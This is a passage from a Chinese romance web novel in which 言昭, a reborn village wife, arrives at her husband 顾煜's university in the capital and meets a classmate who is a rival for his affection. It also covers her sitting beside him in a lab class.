他走在前面牵着她，现在放慢脚步。 侧头看她时，眼神柔得不像他平时冷冷的模样。 “等吃完饭，我带你在这儿逛一圈。” 言昭连忙摆手，她的一只手还被顾煜牵着，另一只手慌慌张张晃着： “不用，我不逛。你大学生也忙，不用在我身上浪费时间。” 她声音越说越小。 顾煜却连眼都没抬一下。 没回答。 只是牵着她继续往前走，力道不重，但是让她完全挣不脱。 几分钟后，两人已经出了校门，走进一家干净明亮的国营饭店。 木桌光洁、瓷碗整齐，墙上还贴着价目表，看起来就比食堂高档许多。 顾煜带她坐到靠窗的位置。 言昭整个人都僵住了。 她在村里从来没进过这种地方，一进门就紧张得脚尖都往里扣，小声又拘谨： “我……我吃两根玉米就够了，不用来这么贵的地方。” 顾煜依旧没回答。 只是淡淡看她一眼，把她按在椅子上： “坐好。” 说完就去柜台点菜。 言昭只好乖乖坐着，两只手抓着衣角，坐立不安，恨不得把自己缩成一团。 身上的衣服被洗得发白，头发因为火车的灰尘乱蓬蓬的，脸上也脏，她自己都觉得丢人。 偏偏就在这时—— 旁边桌子的服务员端着菜路过，看她紧张兮兮地坐着，又灰头土脸，直接皱起眉打量了她一眼。 “这里可不是随便什么人都能来吃饭。” 言昭坐着没动，过了一会才反应过来是对自己说的。 她张口解释想解释，话还没说出来。 “哐——！” 一道巨响震得整间饭店的人都愣住。 顾煜已经回来了。 他抬腿直接一脚踹在服务员的膝盖上。 这个男服务员就被踹的跪在地上，手里的盘子摔得四散。 服务员痛得冷汗直冒：“你——你干什么——” 顾煜站在原地，整个人冷得像浸了冰水。 他垂着眼，声音低沉又稳，一字一句像压着寒意：“她是我媳妇。” 第4章 乡下媳妇 言昭还没回过神，就看到一个身材微胖、穿着蓝布工作服的年长男人快步冲了过来。 他认识顾煜。 还没等回应，他已经抬手—— “啪！” 狠狠拍在那名服务员的脑袋上。 那声音清脆得让整个饭店都抖了下。 服务员跪在地上不敢吭声。 年长男人连骂都来不及，立刻硬着头皮把他往前一推：“还不快给人家的家属道歉！” 服务员吓得声音都抖了：“对、对不起……我眼拙……您别生气……” 言昭点点头，低声回了一句：“没事。” 可她的视线已经忍不住落在顾煜身上。 他站在她旁边，没说一句话，却比直接动手还让人害怕。 阴郁得像积了多年霜雪。 眸子暗得没有一点光，就像整个人被一瞬间的怒意彻底吞没。 言昭太熟悉这个表情了。 熟悉到心口一紧、背脊发凉。 这是顾煜非常生气的样子。 上次见到顾煜这个样子，还是小时候。 当时发生了什么她是忘记了。 只记得顾煜那次就是这幅神情。 安静没有表情。 然后那个孩子差点被他打进医院，大人们用三四个大人才把他拉开。 而现在，他的表情和那时……一模一样。 言昭害怕他又冲动，轻轻扯了一下他的衣袖：“顾煜……” 她声音很轻，小心又紧张。 只是这一声，就像把他从怒意里扯回来。 顾煜的肩膀微微动了一下，眼底有一瞬间从死寂中恢复了点光。 他沉声道：“我们走。” 没有任何多余的语气，可力道一牵，将她整个人带出了国营饭店。 外头的冷风扑面而来，言昭刚想道歉、想解释自己没那么脆弱。 顾煜站在她面前，手指飞快而克制地摸了一下她的脸颊，像在确认她有没有受伤。 下一秒，他把自己的外套脱下来，披在她身上。 那动作快而自然。 “别怕。”他说，“有我在。” 言昭怔了一瞬，连忙摇头：“我、我真的没事……” 但她眼眶有点红，胸口有着什么东西溢出来。 没想到他会这么护着自己。 顾煜重新握住她的手，将她带回学校。 这次，他没有带她去外面的饭店。 而是直接走向大学的食堂。 现在正是吃饭的点，里面人声鼎沸。 可当顾煜一出现，整条队伍像被按了静音键似的，目光一排一排向他投来。 有人抬头，有人低语，有人偷偷盯着。 而目光落在他牵着的那个灰扑扑的小姑娘身上时—— 议论声明显更重了。 “那是谁啊？” “那是顾助导的女朋友吗？” “不会吧，这么土……” 言昭被盯得整个人僵住。 心口跳得乱，手心全是汗。 她站在这些干净的大学生中间，真的是尴尬又局促，恨不得找个地缝钻进去。 言昭下意识想把自己的手从顾煜掌心里抽出来。 哪知道顾煜反手握住她，力道更紧了一些。 在所有人注视下，低头问她：“你想吃什么？” 那语气轻得很，带着点哄人意味，压过了所有的窃窃私语。 然后顾煜目光扫了一眼那些肆无忌惮张望过来的人。 大家一下子噤了声。 因为顾煜此刻的表情很可怕。 …… 两人买完饭回宿舍时，外面天色已经沉下来，校园里只剩零星的学生影子。 顾煜推开门，抬手一按开关—— 一盏白炽灯“啪”地亮起。 明亮，有些刺眼。 言昭上一世见过灯，可那是好多年以后的事。 她从没想过自己这么快能在顾煜这里看到电灯亮着。 “你先吃。”顾煜把饭放到桌上，“我出去一下，很快回来。” 门轻轻合上。 房间一下安静下来。 没有顾煜在旁边，言昭终于长长吐出一口气，整个人像终于从绷得发紧的弦上缓下来。 目光不自觉落在自己的左手上。 那手微微蜷着，还残留着一点他掌心的力道。 从她到京市开始，他就一直牵着她。 言昭抬起那只手，盯看了很久。 手心隐隐发烫。 好像那温度还停在那里，没散开。 她忍不住放在腿上摩擦，想要把那热度擦掉。 没过多久，外头传来脚步声。 门被推开时，顾煜正弯着腰，双臂抱着一个大得几乎能把门堵住的木制浴桶，沉沉稳稳地搬了进来。 言昭吓了一跳，连忙起身。 顾煜的目光先落在桌上。 她的饭碗已经干干净净， 而旁边的菜……几乎没动过。 他看了两秒，没有问，也没有露出不悦。 然后继续低头忙自己的事。 顾煜怀里还夹着一大块干净的蓝布，那是用来隔断房间的布帘。 只见他把浴桶轻轻放在床那边的地上，发出一声闷响。 接着，一个人利落地踩上凳子，把隔断布从高处挂下，把小小的单间硬生生分成了里外两部分。 里间是床。 外间是桌椅与她刚吃完的饭碗。 那浴桶，就静静放在床旁边，显眼得紧。 顾煜把帘子的最后一角挂稳，回头看了她一眼，语气不紧不慢。 “我已经吃过了。你把饭菜全吃了，吃不下就倒掉，不然明天也会坏。” 话说完，他又出了门。 门板轻轻一合，言昭怔住了。 他吃过了？ 在哪吃的？ 言昭低头看着那几乎没怎么动的两个菜，再看顾煜那碗米饭。 不吃就要倒掉…… 那她吃吧。 等言昭把两份饭菜吃完，整个人都撑得靠在椅子上直喘。 她好像从没吃得这么饱过。 正揉着肚子时，门再次被推开。 顾煜又回来了。 他提着两个沉甸甸的木桶，肩线被重量压得紧绷，把热水一点点倒进浴桶里。 热气腾起，让小小的房间都暖了几分。 言昭见状，连忙起身想帮忙：“我来吧，我帮你……” “不用。”顾煜抬眼，“你现在可以把东西整理一下。” 他说着抬手指向一旁的木柜。 “衣柜在那，把你的衣服全放进去。” 言昭哦了一声，乖乖点头，抱着自己的小包袱走过去。 只是走了两步，她忍不住回头看他。 顾煜正专心倒水，侧脸被灯光照得清清冷冷，却又……稳得让人心安。 言昭把小包袱抱在怀里，蹲在衣柜前，把柜门轻轻拉开。 里面的景象让她愣了愣。 顾煜的衣柜……空得惊人。 上层空荡荡的。 最底下压着几件叠得极整齐的衣服，颜色都差不多。 除此之外，整个柜子空的很。 言昭不敢多想，低头把自己的衣服一点点从布包里拿出来。 她的衣物也不多，都是在村里穿的旧布衣。 她把外衣折好，贴着最角落放进去，尽量不占地方。 等到拿到里面穿的衣服时，她整个人僵了一下。 这些……不能让顾煜看到。 她脸一下子红到脖子根，把那几件薄布料的衣裳紧紧抱在怀里，又赶紧用布包裹住，足足包了三层，才敢塞进最靠里的角落。 做完这些的言昭耳尖都在发烫。 就在她把柜门关上的瞬间，帘子另一侧传来水倒满的声音。 伴着热气，顾煜低沉的嗓音也跟着响起。 “水好了，你来洗吧。” 顾煜的声音低沉，落进狭小的单间里，在言昭胸口跟着掀起一阵悄然的震动。 她声音轻得像要散开：“……这是给我弄的？” 顾煜点了一下头，“我想你应该很想清洗一下。” 言昭脸颊瞬间染上薄红。 她一路从南方挤火车来京市，风吹日晒，衣服旧，头发乱，身上确实难受，可她没想到—— 顾煜会准备得这么周到。 不仅是周到，而是……细致。 她抬眼时，刚好撞上顾煜的视线。 此时灯光落在她身上，把她纤细的身影映得格外柔软。 她才二十出头，瘦得有些单薄，皮肤因为风吹而有点暗，可真正靠近才能发现她的皮肤很白，白得像嫩瓷。 那双眼睛虽怯，却亮得惊人，像顾煜上次在老师那看到过的琥珀。 顾煜呼吸忽然紊了一下。 他几乎是条件反射般吞咽了口水，随即垂下眼，把情绪压回去，提着另两个木桶放到旁边。 “这是热水，等你洗到一半可以加。” 他说话时不看她，嗓音闷得快要溢出燥意。 做完这些，他退开一步，站在帘子外，想到什么接着说： “我一会儿要去找老师，可能会很晚回来。” “洗完你放着就好，在学校里水不能随便倒。” “你也不用等我，可以先在床上睡。” 他叮嘱的很自然，可每一句都让言昭心口微微发烫。 言昭什么话都说不出来，她站在热气中，动也不敢动，只能抓着衣角轻轻应了一声。 顾煜没有再看她，转身就离开了。 门轻轻合上。 隔着一道帘子，她听见他的脚步声远去。 …… 顾煜站在宿舍外的花坛边，仰头望着夜空。 秋末的京市开始泛寒，风吹在人身上冷得发颤。 可顾煜却像被火点着，喉间的呼气都是热的，甚至有些发烫。 顾煜抬手按了按自己的眉心，可怎么也按不下心里的躁意。 这时，一个的脚步声靠近。 陈离走到花坛边，一见顾煜这表情，忍不住吹了声口哨。 “顾煜，你还真把你那乡下媳妇带过来了？” 话音刚落，顾煜的眉眼瞬间沉下来。 冷得刺人。 “陈离。”顾煜抬眼，声音压得极低，“注意你的措辞。” 陈离一愣。 这语气……是真怒了。 他赶紧摆手补救：“好好好，我说错了。你媳妇，你家那位真来了？” 顾煜沉默了片刻。 夜风扑在他身上，没能吹散他眼底的暗色。 “……嗯。” 陈离挠头，还是忍不住问：“你不会真打算让她一直住你宿舍吧？” 顾煜缓缓侧过脸。 那一眼冷得陈离后背发紧。 “她是我媳妇。”他字字清晰，“我们有结婚证，她跟我住，不是应该的吗？” 陈离听见这句话，他犹犹豫豫站在原地，在看着顾煜要迈步离开，心里七上八下，终于没忍住问了出来： “那……刘曼青怎么办？明天她肯定知道你媳妇来了，她一定会来找你的……” 顾煜脚步连停都没停。 只侧过脸，冷得没有一丝情绪。 “关我什么事？” 话落，他径直走向教学楼深处，背影干净利落。 陈离原地愣了三秒，随后双手宅抓着头。 “这下咋办。” 他一直听说顾煜说自己在乡下有媳妇，可谁都没当真，只当是早年随便定下的娃娃亲。 可现在没想到是真的，这家伙真的有媳妇，结婚证的那种媳妇。 刘曼青知道，肯定要闹了。 …… 晚上。 顾煜推门进来的那瞬间，整间宿舍都静了下来。 言昭乖乖坐在椅子上，湿漉漉的发尾顺着肩头滴着细小水珠。 昏黄灯光落在她侧脸，显得她整个人软软的、安安静静的。 顾煜的脚步明显顿了半秒。 他喉结轻轻滚了一下。 言昭立刻站起来，小声道：“地……地给我弄湿了，对不起，我马上擦干。” 顾煜看了眼那地上一小片不值一提的水痕，摇了摇头。 “没事。” 他说着从墙上扯下一条被他晒得干干净净的毛巾，走到她面前。 “我帮你擦头发。” 毛巾落下前一秒，言昭整个人都弹起来了，连连摆手：“不用不用！我自己擦就行，我出去吹吹风就好……” 话还没说完，顾煜已经握住她的手腕，然后把她按回椅子上坐好。 “别动。” 他低着头，语气压得很低。 “会生病。” 毛巾落到发间的那一瞬，顾煜的手指隔着布料轻轻按在她后颈的位置，掌心温度顺着皮肤往上窜，让人逃也逃不掉。 言昭整个人都僵住了。 她原以为他只是随口说说，哪会真亲自动手给她擦头发。 她也头一次发现原来他靠近的时候，会让人这么……喘不上气。 言昭微微低着头，本想躲开。 现在她耳尖已经红得发烫，像要烧起来一样。 这些惊慌失措、害羞得不知所措的神情，被顾煜毫无遗漏地看进了眼里。 他的动作明显顿了一下。 毛巾停在她发尾，指尖却不受控地轻触到她的鬓边。 他垂下眼，睫毛投下一片深色阴影。 “别动。” 他的声音低得发哑。 言昭被他提醒后就真的不敢动了，连呼吸都轻了几分。 第5章 我们是夫妻 顾煜继续擦着，可动作变得缓慢。 不是怕弄疼她，而是怕自己失手。 因为她坐在灯下，湿发贴在脸侧，白皙的皮肤被蒸腾的热气微微熏得发粉，那双亮得惊人的眼睛紧张地望着地面。 她不知道，她现在的模样，会让人忍不住想把她抱住。 顾煜喉结微微滚了一下。 他从小到大情绪都淡，让人觉得他什么都激不起波澜。 可此刻，他只觉得自己的心跳乱得不像话。 毛巾滑到她脖颈时，她肩膀轻轻抖了一下。 那一瞬。 顾煜几乎忍不住想把她整个人捧进怀里。 “昭昭。” 他轻声叫她。 言昭下意识抬起头，“啊”了一声。 下一瞬，她只觉颈侧掠过一阵温热，轻得几乎像错觉。 顾煜却像被什么烫到一样，猛地站起身，动作快得有些失措。 “头发……干了。” 他说话的语速比平时快了一点，刻意避开她的视线，“睡吧。” 言昭怔在原地。 她抬手摸了摸刚才那块地方，指尖碰到皮肤时微微一顿，眨了眨眼，像是在确认什么，随后轻轻“哦”了一声。 她没多想，转身就想去拿木板。 人刚转身，言昭手腕就被人拽住。 顾煜的力道不重，低声问她：“你干嘛？” 言昭老实回答：“打地铺啊。” 顾煜眉头立刻皱紧了。 “我们是夫妻。” 这句话落下得很重。 言昭的眼睛微微睁大了一点。 她顺着他的视线，看向那张床—— 很小。 窄窄的，只够一个人翻身。 要是躺两个人…… 她脑子里一下子乱了，脸慢慢开始发热，连呼吸都不太顺。 顾煜也看了一眼那张床，沉默了一瞬，随后语气又低了下来，可依旧坚定。 “睡床上。” “地上冷。” 言昭站在床边，迟疑了好一会儿，到底还是在顾煜强烈的眼神中，慢慢坐了上去。 床确实很小，她几乎是贴着最外侧躺下的，身体绷得笔直，连手脚都不敢乱放。 顾煜随后也躺了下来，只占了另一侧。 两人中间隔着一段不算远、也不算近的距离。 没有人说话。 谁都没有再动。 可那种存在感却清晰得让人无法忽视。 夜已经深了，宿舍外偶尔传来风声，灯关掉后，黑暗里只剩下彼此细微的呼吸。 一轻一重，在安静里被无限放大。 言昭能感觉到他的体温。 不是贴着，却像隔着空气慢慢渗过来。 她翻了个身，又很快停住，生怕发出一点多余的声响。 而几乎在同一刻，顾煜也轻轻动了一下，又立刻恢复安静。 言昭睁着眼，看着黑暗，心跳始终没能慢下来。 她忽然想起从前。 在顾家的那些年，房子小，屋子少，冬天又冷，很多时候都是几个人挤着睡。 那时候她和顾煜还小，只是并肩躺着，盖着同一床被子，谁也没想过别的。 她从小就是顾家的童养媳，在那个家里，反倒没有如今这样的紧张。 后来，一切都变了。 她被顾城一点点洗脑，把心思放错了地方。 顾城总是顾忌这、顾忌那，怕李玲不高兴，最多也就是拉拉手，说几句敷衍的话。 再后来，她为那个家做牛做马。 日子把人磨得粗糙，镜子里的自己越来越陌生。 而顾城看向她时，眼里只剩下不耐和嫌弃。 想到这里，言昭的思绪不由得一顿。 她忽然想起吹头发的时候—— 颈侧那一闪而过的温热。 太短了，短得像错觉，可偏偏在脑子里怎么都挥不掉。 那一点触感，像是在黑暗里轻轻点了一下火星。 言昭这一夜睡得并不踏实。 总觉得耳边有一道克制又急促的呼吸声，近得仿佛贴着。 直到天色一点点泛白。 她迷迷糊糊睁开眼，脑子还没完全清醒，忽然想到什么，下意识往身边看了一眼。 床侧已经空了。 被子叠得整整齐齐，连褶皱都被抚平。 屋里安静得有些过分。 言昭慢慢坐起身，眨了眨眼，思绪这才一点点回笼—— 她已经不在村里了。 她昨晚到了京市。 而且……昨晚，她是和顾煜一起睡在同一张床上的。 这个认知落下来的一瞬间，她的心跳忽然漏了一拍。 言昭还没完全从那点恍惚里回过神，门外忽然传来敲门声。 “咚咚——” 力道不轻，带着明显的情绪。 紧接着，一个女人的声音隔着门板响起，语气又急又冲： “顾煜，你开门！” 言昭心里一紧。 她下意识以为是学校里的老师，或者是有什么急事找顾煜。 言昭顾不得多想，连忙抓起外衣披在身上，快步走过去开门。 门刚被拉开一条缝—— 那女人的话已经抢着砸了进来。 “他们说的是不是假的？你根本没有老婆是不是？” 声音又快又尖，像是压了一夜的情绪终于忍不住爆开。 言昭动作一顿。 她抬起头。 门口站着一个女生。 长得很好看，皮肤白净，五官明艳，一看就是被精心养出来的样子。 身上穿着一条剪裁合身的小花裙，颜色鲜亮，裙摆随着她的动作微微晃动，在这条略显冷清的走廊里显得格外扎眼。 言昭还没来得及反应，门口那女生已经怔了一瞬。 显然，她也没想到，来开门的会是一个陌生女人。 而且是—— 刚睡醒的样子。 头发微乱，外衣随意披着，从顾煜的宿舍走出来。 那一瞬间，女生脸上的表情，从质问，变成了难以置信。 空气像被人按住了。 言昭站在门内，手还扶着门框，心口微微发紧，却没有退后。 她不是傻子，几乎在对方那句话出口的一刻，就已经明白了眼前人的身份。 这肯定不是顾煜的普通同学。 那女生的视线在她脸上停了两秒，又迅速扫过她身后的房间，像是在确认什么，声音明显变了调： “你是谁？” 言昭喉咙一紧。 她一时间竟不知道该怎么开口。 在来京市之前，她不是没想过这种情况。 顾煜长得好看，又安静出众，在村里就是最惹眼的那个，更何况到了京市，上大学，身边怎么可能没有女孩子喜欢。 当时言昭在火车上反复想过—— 如果真的有那样的人出现，她该怎么办。 那时她想的是，只要能让自己留在京市，她什么都可以忍。 哪怕是退到后面，哪怕是照顾两个人的生活，她也能做到。 照顾人这件事，她早就习惯了。 至少，她心里很清楚一点。 顾煜不是顾城那种人。 不会把她当成可以随意使唤的下人， 更不会在厌倦之后，把她当成累赘随手丢掉。 言昭想到这里，她心里的那点紧绷慢慢压了下去。 “我是顾煜的姐姐。” 话音落下的那一刻，对面的女生明显怔了一下。 先是惊讶。 随后，脸上的戒备一点点散开。 最后，像是终于松了口气。 紧绷的肩线放松下来，语气也不自觉柔和了几分。 “姐姐啊？”女生又重新打量了言昭一眼，这一次目光里已经没有了刚才的审视，反而多了点不好意思的笑。“吓我一跳，我还以为——” 她顿了顿，没有继续说下去，随即露出一个大方的笑容： “姐姐好，我叫刘曼青，是顾煜的同班同学。” 言昭连忙点头，“顾煜现在不在，要不……等他回来，我帮你跟他说一声？” 刘曼青却摇了摇头，脸上带着轻快的笑意，一点都不着急。 “没事的，姐姐。” “他不在这儿，我就知道他在哪，我去找他啦。” 刘曼青说完就转身离开，步子轻快，还随手甩了一下垂在肩后的麻花辫。 麻花辫在晨光里晃了一下，是那么乌黑又亮泽，像是抹了层光。 言昭站在门口，看着她的背影消失在走廊拐角处。 她低头看了看自己洗得发白的衣角，指尖微微收紧，又很快松开。 心里却忽然变得异常安静。 言昭把门轻轻关上，转身开始打扫。 可真正动起手来，她才发现—— 其实根本没什么可收拾的。 桌面干净，书本码得整齐，地上也没有杂物。 连床铺都被整理得一丝不乱。 一个男孩子的房间，能干净到这种程度，让她一时都有点无从下手。 言昭站在屋里转了一圈，最后还是慢慢在椅子上坐了下来。 目光落在桌面上。 那三千块钱，就那么明晃晃地放着。 没有遮，没有藏。 她怔怔看了一会儿，心里有点发紧。 顾煜到底还是没把钱拿走。 就这么放在桌上，不怕被人偷。 言昭轻轻叹了口气，起身把钱一张张收拢，用布仔细包了好几层，又塞进衣柜最里面的角落。 做完这一切，她才重新坐回椅子上。 下一秒—— “咕噜——” 肚子不合时宜地叫了一声。 言昭一愣，下意识按了按腹部。 她昨晚吃得多，可现在一早醒来，胃里又开始空了。 她抬头看了看窗外的天色，又低头看看屋里。 没有锅。 没有粮。 她忽然开始犯愁。 ……早饭，要怎么吃呢。 言昭正发愁着，门忽然被推开。 顾煜回来了。 他额前的碎发还带着点湿意，明显是一路走得急，肩背微微起伏，身上还没散尽汗气。 手里提着一个竹编的小篮子，里面放着几样东西，被布盖着。 言昭一惊，立刻站起身迎过去。 顾煜却没把篮子递给她，而是顺手用另一只手拉住她的手腕。 “我带你去洗漱的地方。” 言昭低头一看，发现他又牵着自己，心口一紧，下意识就把手抽了回来。 顾煜动作一顿，眉心微微蹙起，看了她一眼。 那目光不重，却让人有点无所适从。 言昭侧了侧头，没再看他，只是默默跟着往外走。 走廊有人，大部分都会看过来。 她更觉得别扭，脚步都放轻了些。 顾煜察觉到她的变化，脚步慢了半拍。 他侧目看了她一眼，眼底掠过一丝明显的疑惑，却没有再伸手去拉她，只是把步子放缓，让她跟在身侧。 两人一路走到洗漱的地方。 一排排水龙头沿着墙排开，水声此起彼伏，已经有不少学生在刷牙洗脸。 顾煜一出现，便有人抬头招呼他。 “顾煜，早啊。” 他点了点头，应得简短。 可下一秒，那些目光便顺着他的方向移开，落在了言昭身上。 打量的、好奇的、探究的。 有的停留了一瞬，有的毫不遮掩。 言昭脚步一顿，指尖不自觉蜷起，站在水池边显得有些局促。 她低头去拧水龙头，水流哗地落下，掩住了那点不自在。 顾煜没有说话，却往她前面挪了半步。 不动声色地，挡住了大半视线。 “在这儿。”他把篮子放到一旁，“都是刷牙洗脸的东西。” 言昭没想到篮子里面全是给她买的。 她低头刷着牙，又洗脸。 冰凉的水拍在脸上时，言昭稍微清醒了一点。 只不过她能很清楚地感觉到—— 顾煜在看她。 不是那种随意扫一眼的目光，而是站在一旁，微微歪着头，安静又专注地看着她。 像是在确认什么，又像是在等她自己开口。 言昭不敢抬头，只能假装认真洗漱，动作都不自觉慢了半拍。 就在这时，顾煜忽然动了。 他走近一步，站到她身侧，声音压得很低，只有她能听见。 “是不是有人去寝室找我了？” 这句话来得太突然。 言昭洗脸的动作明显顿了一下。 水顺着指缝往下流，她却没有立刻关掉，只是继续把脸洗完，才轻轻“嗯”了一声。 “是你的同学。” 她语气很平，像是在说一件再普通不过的小事。 顾煜没再追问，只是静静看着她。 那目光沉了几分，像是已经猜到了什么。 后面顾煜没再提这件事。 洗漱完，他把篮子提在手里，说了一句要去上课。 言昭愣了一下，下意识应了一声：“好，你去吧。” 话出口，她才后知后觉地开始想—— 那她呢？ 校园里人来人往，都是背着书包的学生。 她站在其中，忽然发现自己竟不知道该往哪走。 回宿舍？ 坐着等？ 还是干脆躲到某个角落里，不给他添麻烦？ 这个念头刚浮上来，顾煜已经自然地接了一句，“你跟我一起去。” 这句话让她措手不及。 他要她一起去？ 言昭脚步一顿，连忙摇头。 “不行的。”她语气一下子急了，“我怎么能去上课？我不去吧。我去了也听不懂，上课那么多人，我坐在那里，不好……” 第6章 顾煜竟然真的有对象 顾煜忽然停下脚步，侧过头看她。 语气很平静，像是在说一件再自然不过的事。 “你不是识字吗？” 这句话落下的瞬间，言昭猛地抬起头。 眼睛睁得圆圆的。 那一瞬的表情，几乎称得上是失态。 她是真的震住了。 言昭当然识字。 而且识得还不少。 只是这件事，她从来没在顾家提过。 当年成分不好，她出生在地主家，识字这件事本身就不是什么能拿出来说的好事。 后来到了顾家，她更是装得彻底，低头干活，闭口不言，生怕多出一点“与众不同”。 这件事，她只偷偷跟李玲提过一句。 顾家的任何一个人，都不知道。 包括顾煜。 言昭喉咙发紧，下意识想否认，可话卡在嘴边，却怎么都说不出来。 她看着顾煜，眼神里全是来不及收好的震惊和慌乱。 “我……” 顾煜没有再继续这个话题， 他只是语气比刚才更笃定了一些，说道：“你只需要坐在我身边就好，我带你见见我的老师。” 话落的同时，他已经伸手牵住了她。 动作不重，没有半点犹豫，像是这本就理所当然。 言昭被他带着往前走了一步，心口却猛地一紧。 她现在不敢再直接拒绝，可指尖还是下意识收了收，想把手抽回来。 昨天任由他牵着，是因为刚见到他，心里乱得很，也没来得及想太多。 可现在不一样了。 她已经知道，他身边有更好的姑娘。 那样明亮、那样体面，站在他身旁，才是旁人眼中合适的样子。 她不能再让自己继续站在这种位置上，让人误会，也让他误会。 言昭指尖轻轻一动，试着挣开。 这一次，顾煜没有再用力。 他垂眸看了她一眼，什么也没说，只是松了手。 顾煜转身先把篮子送回宿舍，再出来时，像是什么都没发生过一样，走在她身侧，隔着半步的距离。 不远不近。 随后，他带着她往教学楼的方向去。 教室门口这一小段路，言昭走得格外慢。 她已经察觉到了。 从走廊到门前，一路上遇见的学生，几乎没有不认识顾煜的。 有人主动打招呼，有人只是看一眼就低声和同伴说话，还有人视线停留得过久，目光在顾煜身上，又忍不住落到她身上。 那种神情，她已经看见好几次了。 惊讶。 探究。 还有一点藏不住的好奇。 仿佛在问她是谁，为什么会站在顾煜身边。 这种目光让言昭背脊一点点绷紧。 等顾煜伸手要推开教室门时，她终于没忍住，往前一步，指尖轻轻抓住了他衣角。 布料被她攥出一道小褶。 她声音压得很低，带着明显的迟疑。 “顾煜……我还是不进去了吧。” 她自己都能听出那点不安。 “我这种人，怎么能进教室，我……” 话没说完，声音就轻了下去。 顾煜停下动作。 他没有立刻回头，只是站在原地，像是在等她把话说完。 可言昭说不下去了。 那些词在心里翻滚，却一个都说不出口。 她这种人。 乡下来的。 穿得旧。 站在这里，本身就显得多余。 下一秒，顾煜松开了门把手。 他转过身，看向她。 目光很稳，没有不耐，也没有意外。 “你是哪种人？” 言昭一愣。 被他这样一问，反倒更说不出来了。 “我……”她张了张嘴，喉咙却发紧。 她忽然发现，自己竟然不知道该怎么定义自己。 说是他媳妇，她没底气。 说是姐姐，又不是亲姐姐。 言昭只剩下沉默。 走廊里人来人往，脚步声不断。 顾煜没有催她。 只是看着她，等她想明白。 过了一会，顾煜看她不说话，他低低叹了口气。 “你要是不想去，就算了。”他说得很平静，“我们回去。” 言昭一愣，几乎是脱口而出：“那你不上课了吗？” 顾煜脚步没停，语气随意得像在说一件再寻常不过的事：“大学里的课程我基本都学完了，现在主要是做助教，帮老师处理一些事。” 那些词落进言昭耳朵里，她其实听不太懂。 她只知道一件事—— 他很厉害。 厉害到让她下意识仰头去看。 竟然帮老师干活。 顾煜的成绩肯定也很好。 但是没想到这么厉害的人，现在竟然要因为她一句不进教室。 言昭几乎是本能地又伸手抓住了他的衣角，声音轻得发虚：“那……那还是上课吧。” 话音刚落，她甚至还没来得及后悔。 顾煜已经反手握住了她的手。 这一次，没有给她再犹豫的机会。 他直接推开教室门，牵着她走了进去。 教室里原本有些细碎的说话声，在门被推开的瞬间，明显静了一下。 几乎是同时。 一排排目光齐刷刷看了过来。 先是顾煜。 然后，是他身边被牵着的言昭。 言昭呼吸一滞，下意识想把手抽回来。 可这一次，顾煜没有松。 他的手稳稳扣着她，在无数道视线中，带着她径直往前走。 一路走到第一排，靠窗的位置。 阳光从窗外斜斜照进来，落在桌面上。 顾煜停下脚步，低声对她说：“你先在这坐着，我等会儿过来。” 说完，他这才松开她的手。 言昭坐下的那一瞬，只觉得心跳还在耳边轰鸣。 她不用抬头，也能清楚地感觉到—— 四面八方的目光还没散开。 好奇的、探究的、打量的。 她手指无意识地攥紧了衣角，连呼吸都放轻了几分。 就在这时，讲台上传来顾煜的声音。 “上次布置的作业，今天要统一上交，请大家从后往前依次传递，记得写好名字，否则不计分。” 这话一落，教室里终于有了动静。 桌椅轻响，纸张翻动，原本落在她身上的视线被分散开去。 言昭刚悄悄松了一口气。 下一秒，肩膀却被人轻轻点了一下。 她整个人一僵。 动作慢了半拍，才微微侧过头。 是她身后的位置。 一个男生把一叠作业递到她面前，眼神不着痕迹地在她脸上打量。 那目光不算冒犯，可带着明显的好奇。 言昭连忙伸手接过来，她动作有些急，纸张边缘在她指尖擦过。 作业很快被收齐。 顾煜把那一叠本子整理好，放到讲台一侧，正好这时老师也进了教室。 今天是实验课。 老师简单说了几句，提到实验器材只有一套，就让顾煜在前面做示范，同学们边看边记。 顾煜应了一声，很自然地走到实验台前。 言昭这才慢慢平复了呼吸。 刚才那点紧张像是压在胸口的石头，终于被挪开了一些。 她轻轻抬起头，看向讲台。 顾煜已经低头调整仪器，袖口微微挽起，神情专注而冷静，像是一下子隔绝了外界所有杂音。 他说话不多，却条理清晰。 每一步操作都很稳。 言昭其实看不太懂。 那些名词、步骤，对她来说都很陌生。 可她偏偏移不开眼。 她忽然意识到一件事—— 顾煜好像不管做什么，都很好看。 不是那种刻意的好看，而是一种让人忍不住多看一眼的存在感。 很快，她也发现了。 不只是她一个人在看。 教室里不少目光都落在顾煜身上，尤其是那些女生，视线明晃晃的，藏都不藏。 言昭低头看了看自己身上的衣服。 洗得发白的布料，样式简单，坐在这间明亮整洁的教室里，显得格外突兀。 和这里的一切，都不太一样。 顾煜是真的属于这里的。 而她，好像只是被他牵着，短暂站进了这个世界。 正当言昭的思绪还陷在刚才那点说不清的情绪里。 顾煜不知什么时候已经回到第一排，坐在了她旁边。 距离很近。 近到她能闻到他身上淡淡的皂角味，还有刚做完实验残留的其他气息。 他微微侧身，目光落在她脸上，像是在认真分辨什么。 声音压得很低，几乎只够她一个人听见。 “怎么了？” 言昭愣了一下，眨了眨眼，才意识到自己刚才大概是露出了点情绪。 她连忙摇头，想说没事。 顾煜也没再追问，他伸手，从桌下不知道什么时候放着的包里，拿出一本书，轻轻放到她面前。 “你看这个。” 言昭一怔，下意识低头。 书封已经有些旧了，边角起了毛。 她还没反应过来，顾煜已经替她把书翻开。 不是教材。 是一本小说。 纸页被翻开的声音很轻。 言昭看清那几行字的时候，眼睛微微睁大。 她抬头看他，明显有些惊讶。 顾煜神色依旧平静，像是觉得这是再自然不过的事。 “实验你听不懂。”他说得很直接，但没有半点轻视，“看这个就好。” 他说完，便重新把注意力放回前方。 而言昭低头看着那本小说，指尖停在纸页上。 心口那点原本泛起的局促与不安，忽然被轻轻按住了。 在言昭低头看着书页的时候，神情慢慢静了下来。 关于小时候的事，她其实已经忘得差不多了。 能到现在还认得字，就连她自己都觉得意外。 更奇怪的是。 言昭看着书上的内容，心里竟生出一种说不清的熟悉感。 不是第一次看时的新鲜。 而像是……很久以前就看过。 可这不可能。 无论是上一世，还是这一世，她都没真正看过几本书。 日子被填得太满，哪有空去看这些。 言昭正怔着。 旁边的人忽然伸手，替她把书页轻轻翻过去。 她一愣，下意识侧头。 顾煜的视线还落在前方讲台，神情专注，像只是顺手帮她翻了一页。 光从窗外照进来，落在他侧脸的轮廓上，线条干净而冷静。 言昭看了他一眼，又低头看向新翻开的那页。 这样的画面，自然不可能只落在言昭一个人眼里。 第一排本就显眼。 顾煜坐回去之后，那点细微却明显的互动，很快被周围的人注意到。 